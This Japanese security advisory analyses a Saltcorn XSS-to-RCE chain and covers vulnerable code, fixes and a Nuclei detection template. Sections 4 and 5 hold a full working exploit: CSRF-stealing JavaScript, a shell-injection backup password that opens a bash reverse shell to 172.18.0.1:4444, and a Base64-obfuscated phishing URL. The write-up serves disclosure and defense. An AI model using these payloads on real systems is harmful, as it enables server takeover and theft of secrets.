GHSA-cr3w-cw5w-h3fj:Saltcornにおける1クリックRCE
GHSA-cr3w-cw5w-h3fj(Saltcorn ≤ 1.5.0-beta.19に存在するCVSS 9.7のクリティカルなXSSからRCEへの脆弱性)の分析。ルートパラメーターの反射型XSSとバックアップ生成時のコマンドインジェクションという連鎖した2つの不備により、管理者へのフィッシングを介したリモートコード実行が可能になります。
GHSA-cr3w-cw5w-h3fj
Saltcornにおける1クリックRCE 2026年2月24日 · CVSS 9.7 クリティカル · Saltcorn ≤ 1.5.0-beta.19
| CVE | CVSS | 影響を受けるバージョン | 修正済みバージョン |
|---|---|---|---|
| 未割り当て | 9.7 クリティカル | ≥ 1.1.1, < 1.5.0-beta.19 | 1.5.0-beta.19+ |
1. 技術概要:SaltcornにおけるXSSからRCEへのエクスプロイトチェーン
Saltcornは、ページ/コード編集、バックアップ、システム管理のための管理UIを備えた、オープンソースかつデータベースファーストのWebアプリビルダーです。
GHSA-cr3w-cw5w-h3fjがクリティカルであるのは、単一のバグによるものではなく、2つの脆弱性を連鎖させる点にあります。
- パラメーターのレンダリングにおける反射型XSS
- バックアップコマンド構築におけるコマンドインジェクション
個々の不備もそれぞれセキュリティリスクを生みます。両者が組み合わさると、管理者が巧妙に細工されたリンクを開いた際に、攻撃者がオペレーティングシステムのコマンドを実行できるようになります。
2. ルートパラメーターにおける反射型XSS
1.5.0-beta.19までの脆弱なバージョンでは、ルートパラメーター name がHTMLエスケープされないまま、sub2_pageおよびpage_titleとしてsend_admin_page()へ直接流れ込みます。
脆弱なコードパターン:
router.get(
"/edit-codepage/:name",
isAdmin,
error_catcher(async (req, res) => {
const { name } = req.params; // raw user input, no sanitization
// ...
send_admin_page({
res,
req,
page_title: req.__(`%s code page`, name), // unescaped
sub2_page: req.__(`%s code page`, name), // unescaped → breadcrumb
// ...
});
})
);
send_admin_page()はpackages/server/markup/admin.js内のsend_settings_page()を呼び出し、これがsub2_pageを最後のパンくずノードのテキストとしてそのまま配置します。
// packages/server/markup/admin.js (commit 020893c)
res.sendWrap(title, {
above: [
{
type: "breadcrumbs",
crumbs: [
{ text: req.__("Settings"), href: "/settings" },
{ text: req.__(active_sub), href: "..." },
...(sub2_page
? [{ text: sub2_page }] // ← name value inserted here, no escaping
: [])
],
},
// ...
],
});
res.sendWrap()はsub2_pageを\<a>タグ内の生のHTMLとしてレンダリングします。name内のあらゆるHTMLがブラウザー上で実行されます。
nameはサニタイズされないままレンダリングされるUIテキストへ流れ込むため、攻撃者が制御する値が実行可能なHTML/JavaScriptになります。
悪意あるリクエストの例:
GET /admin/edit-codepage/%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E HTTP/1.1
Host: target

脆弱なバージョンでのレンダリング出力:
... <a> <img src=x onerror=alert(document.domain)> code page </a> ...
3. バックアップパスワード処理におけるコマンドインジェクション
2つ目の脆弱性はバックアップ生成に存在し、文字列補間を用いてシェルコマンドが構築され、その後実行されます。
脆弱なパターン(backup.ts):
const cmd = `zip -5 -rq ${backup_password ? `-P "${backup_password}" ` : ""}"${absZipPath}" .`;
exec(cmd, { cwd: tmpDir }, (error) => { ... });
backup_passwordはシェルコマンド文字列へ直接注入されます。悪意ある値は-P "..."のコンテキストから抜け出し、シェル構文を追加できます。
悪意あるパスワードの例:
";$(id);#
結果として実行されるコマンド:
zip -5 -rq -P "";$(id);#" "/tmp/backup.zip" .
これにより、バックアップが起動された際にサーバーコンテキストで任意のコマンド実行が発生します。

4. エンドツーエンドの悪用:XSSとコマンドインジェクションの連鎖
悪用には2つの要素が必要です。フィッシングページに埋め込まれた武器化ペイロードと、それを認証済みの管理者へ届けるためのソーシャルエンジニアリングです。
ステップ1:コマンドインジェクションペイロード
fetch('/admin/backup')
.then(r => r.text())
.then(html => {
var c = html.match(/name="_csrf" value="([^"]+)"/)[1];
fetch('/admin/set-backup-prefix', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: '_csrf=' + c + '&backup_file_prefix=sc-backup-&backup_history=on&backup_password=%22%3B%24%28bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F4444%200%3E%261%20%26%27%29%3B%22'
}).then(() =>
fetch('/admin/backup', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: '_csrf=' + c
})
)
});
backup_passwordパラメーターにはURLエンコードされたシェルエスケープが含まれます。デコードすると次のように変換されます。
";$(bash -c 'bash -i >& /dev/tcp/172.18.0.1/4444 0>&1 &');"
サーバーでの実行コンテキスト:
zip -5 -rq -P "";$(bash -c 'bash -i >& /dev/tcp/172.18.0.1/4444 0>&1 &');"" "/tmp/backup.zip" .
ステップ2:XSSペイロード
フィッシングページからの悪意あるURLは、単純なフィルターを回避するためにBase64エンコーディングを用いた多層ペイロードを埋め込みます。
http://localhost:3000/admin/edit-codepage/%3Cimg%20src%3Dx%20onerror%3Deval%28atob%28%22ZmV0Y2goJy9hZG1pbi9iYWNrdXAnKS50aGVuKHI9PnIudGV4dCgpKS50aGVuKGh0bWw9Pnt2YXIgYz1odG1sLm1hdGNoKC9uYW1lPSJfY3NyZiIgdmFsdWU9IihbXiJdKykiLylbMV07ZmV0Y2goJy9hZG1pbi9zZXQtYmFja3VwLXByZWZpeCcse21ldGhvZDonUE9TVCcsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCd9LGJvZHk6J19jc3JmPScrYysnJmJhY2t1cF9maWxlX3ByZWZpeD1zYy1iYWNrdXAtJmJhY2t1cF9oaXN0b3J5PW9uJmJhY2t1cF9wYXNzd29yZD0lMjIlM0IlMjQlMjhiYXNoJTIwLWMlMjAlMjdiYXNoJTIwLWklMjAlM0UlMjYlMjAlMkZkZXYlMkZ0Y3AlMkYxNzIuMTguMC4xJTJGNDQ0NCUyMDAlM0UlMjYxJTIwJTI2JTI3JTI5JTNCJTIyJ30pLnRoZW4oKCk9PmZldGNoKCcvYWRtaW4vYmFja3VwJyx7bWV0aG9kOidQT1NUJyxoZWFkZXJzOnsnQ29udGVudC1UeXBlJzonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJ30sYm9keTonX2NzcmY9JytjfSkpfSk%3D%22%29%29%3E
デコード後のXSSペイロード:
<img src=x onerror=eval(atob("ZmV0Y2goJy9hZG1pbi9iYWNrdXAnKS50aGVuKHI9PnIudGV4dCgpKS50aGVuKGh0bWw9Pnt2YXIgYz1odG1sLm1hdGNoKC9uYW1lPSJfY3NyZiIgdmFsdWU9IihbXiJdKykiLylbMV07ZmV0Y2goJy9hZG1pbi9zZXQtYmFja3VwLXByZWZpeCcse21ldGhvZDonUE9TVCcsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCd9LGJvZHk6J19jc3JmPScrYysnJmJhY2t1cF9maWxlX3ByZWZpeD1zYy1iYWNrdXAtJmJhY2t1cF9oaXN0b3J5PW9uJmJhY2t1cF9wYXNzd29yZD0lMjIlM0IlMjQlMjhiYXNoJTIwLWMlMjAlMjdiYXNoJTIwLWklMjAlM0UlMjYlMjAlMkZkZXYlMkZ0Y3AlMkYxNzIuMTguMC4xJTJGNDQ0NCUyMDAlM0UlMjYxJTIwJTI2JTI3JTI5JTNCJTIyJ30pLnRoZW4oKCk9PmZldGNoKCcvYWRtaW4vYmFja3VwJyx7bWV0aG9kOidQT1NUJyxoZWFkZXJzOnsnQ29udGVudC1UeXBlJzonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJ30sYm9keTonX2NzcmY9JytjfSkpfSk="))>
5. 概念実証:エンドツーエンドのXSSからRCEへの悪用
この概念実証は、脆弱なsaltcorn/saltcorn:1.4.1デプロイに対する完全なXSSからRCEへの悪用チェーンを実演し、悪意ある管理者側ペイロードを介したリモートコマンド実行に至ります。
version: '3'
services:
postgres:
image: postgres:15
environment:
POSTGRES_USER: saltcorn
POSTGRES_PASSWORD: saltcorn
POSTGRES_DB: saltcorn
volumes:
- postgres-data:/var/lib/postgresql/data
saltcorn:
image: saltcorn/saltcorn:1.4.1
ports:
- "3000:3000"
environment:
PGHOST: postgres
PGUSER: saltcorn
PGPASSWORD: saltcorn
PGDATABASE: saltcorn
PGPORT: 5432
SALTCORN_SESSION_SECRET: fixedsecret
volumes:
- saltcorn-data:/home/saltcorn/.config/saltcorn
depends_on:
- postgres
command: serve
volumes:
postgres-data:
saltcorn-data:
実行フロー:
- 攻撃者のターミナル: リバースシェルを受け取るためのリスナーを設置します。

- 被害者の操作: 管理者が悪意あるリンクをクリックします。

http://localhost:3000/admin/edit-codepage/%3Cimg%20src%3Dx%20onerror%3Deval%28atob%28%22ZmV0Y2goJy9hZG1pbi9iYWNrdXAnKS50aGVuKHI9PnIudGV4dCgpKS50aGVuKGh0bWw9Pnt2YXIgYz1odG1sLm1hdGNoKC9uYW1lPSJfY3NyZiIgdmFsdWU9IihbXiJdKykiLylbMV07ZmV0Y2goJy9hZG1pbi9zZXQtYmFja3VwLXByZWZpeCcse21ldGhvZDonUE9TVCcsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCd9LGJvZHk6J19jc3JmPScrYysnJmJhY2t1cF9maWxlX3ByZWZpeD1zYy1iYWNrdXAtJmJhY2t1cF9oaXN0b3J5PW9uJmJhY2t1cF9wYXNzd29yZD0lMjIlM0IlMjQlMjhiYXNoJTIwLWMlMjAlMjdiYXNoJTIwLWklMjAlM0UlMjYlMjAlMkZkZXYlMkZ0Y3AlMkYxNzIuMTguMC4xJTJGNDQ0NCUyMDAlM0UlMjYxJTIwJTI2JTI3JTI5JTNCJTIyJ30pLnRoZW4oKCk9PmZldGNoKCcvYWRtaW4vYmFja3VwJyx7bWV0aG9kOidQT1NUJyxoZWFkZXJzOnsnQ29udGVudC1UeXBlJzonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJ30sYm9keTonX2NzcmY9JytjfSkpfSk%3D%22%29%29%3E
- リバースシェルの確立: チェーン全体が2秒未満で実行され、攻撃者にリモートアクセスを提供します。

このプロセスは管理者にはほぼ見えず、短いブラウザーの遷移としてのみ現れます。
| 影響 |
|---|
| コマンド実行が達成されると、攻撃者は次のことが可能になります: • アプリケーションのシークレットと設定の読み取り • バックドアの永続化 • 連携されたサービスへの横展開 • 完全性と可用性の侵害 |
6. 修正:Saltcorn 1.5.0でのパッチと緩和策
Saltcornバージョン 1.5.0 は、両方の脆弱性をそれぞれ独立して対処します。いずれか一方の修正を実装するだけでもエクスプロイトチェーンを断ち切るのに十分です。
修正1:入力のエスケープ
ルート/クエリパラメーターを下流のレンダリングの前にエスケープします。
const escape_param = (obj) => {
const out = {};
for (const [k, v] of Object.entries(obj))
out[k] = typeof v === "string" ? text(v) : v;
return out;
};
req.params = escape_param(req.params);
req.query = escape_param(req.query);
修正2:安全なコマンド実行
exec(string)をspawn(binary, args)に置き換え、パスワードを通常の引数として渡します(シェル補間なし)。
const args = ["-5", "-rq"];
if (backup_password) args.push("-P", backup_password);
args.push(absZipPath, ".");
spawn("zip", args, { cwd: tmpDir, shell: false });
これにより、シェル文字列インジェクションのプリミティブが除去されます。
7. Ostorlab KEVによるSaltcornのXSSからRCEへの検出
GHSA-cr3w-cw5w-h3fj(SaltcornのXSSからRCEへのチェーン)は、Ostorlabの Known Exploited Vulnerabilities(KEV) 検出スイートでカバーされています。KEVエージェントグループは、公開されたサービスに対して大規模な自動スキャンを実行し、Nmap、Tsunami、Asteroid、Nuclei、Metasploitといったツールを統一されたワークフローの下でオーケストレーションします。
Nucleiテンプレート
この勧告のために専用のNucleiテンプレートが開発され、KEVリポジトリに追加されました。
侵襲的なエクスプロイト検証とは異なり、このテンプレートは認証なしで 安全な反射ベースの検出 を実行します。
/page/sc\<xss\>nucleiへのGETリクエスト — 公開ルートパラメーターへ山括弧を注入します。- 本文のマッチ確認 — ペイロード
sc\<xss\>nucleiがエンコードされずに反射されることを検証します。 - ネガティブマッチ確認 — エンコードされた形式
sc<xss>nucleiが出現しないことを確認します。 - Saltcornのフィンガープリンティング —
_sc_version_tagマーカーを介して存在を確認します。
検出には、すべてのマッチャー条件が成功する必要があります。すなわち、反射が存在し、エンコードが行われておらず、Saltcornが識別されることです。
このテンプレートは、バックアップを起動したりコマンドを実行したりすることなく、コマンドインジェクションのチェーンを可能にする脆弱なXSSプリミティブを確認します。
完全なテンプレートは、以下のOstorlab KEVリポジトリで入手できます。 github.com/Ostorlab/KEV/blob/main/nuclei/GHSA-cr3w-cw5w-h3fj.yaml
参考資料
| リソース | リンク |
|---|---|
| GitHub Advisory | https://github.com/advisories/GHSA-cr3w-cw5w-h3fj |
| Saltcornリポジトリ | https://github.com/saltcorn/saltcorn |
| 修正コミット | https://github.com/saltcorn/saltcorn/commit/1bf681e08c45719a52afcf3506fb5ec59f4974d5 |
| 脆弱なスナップショット | https://github.com/saltcorn/saltcorn/commit/020893c |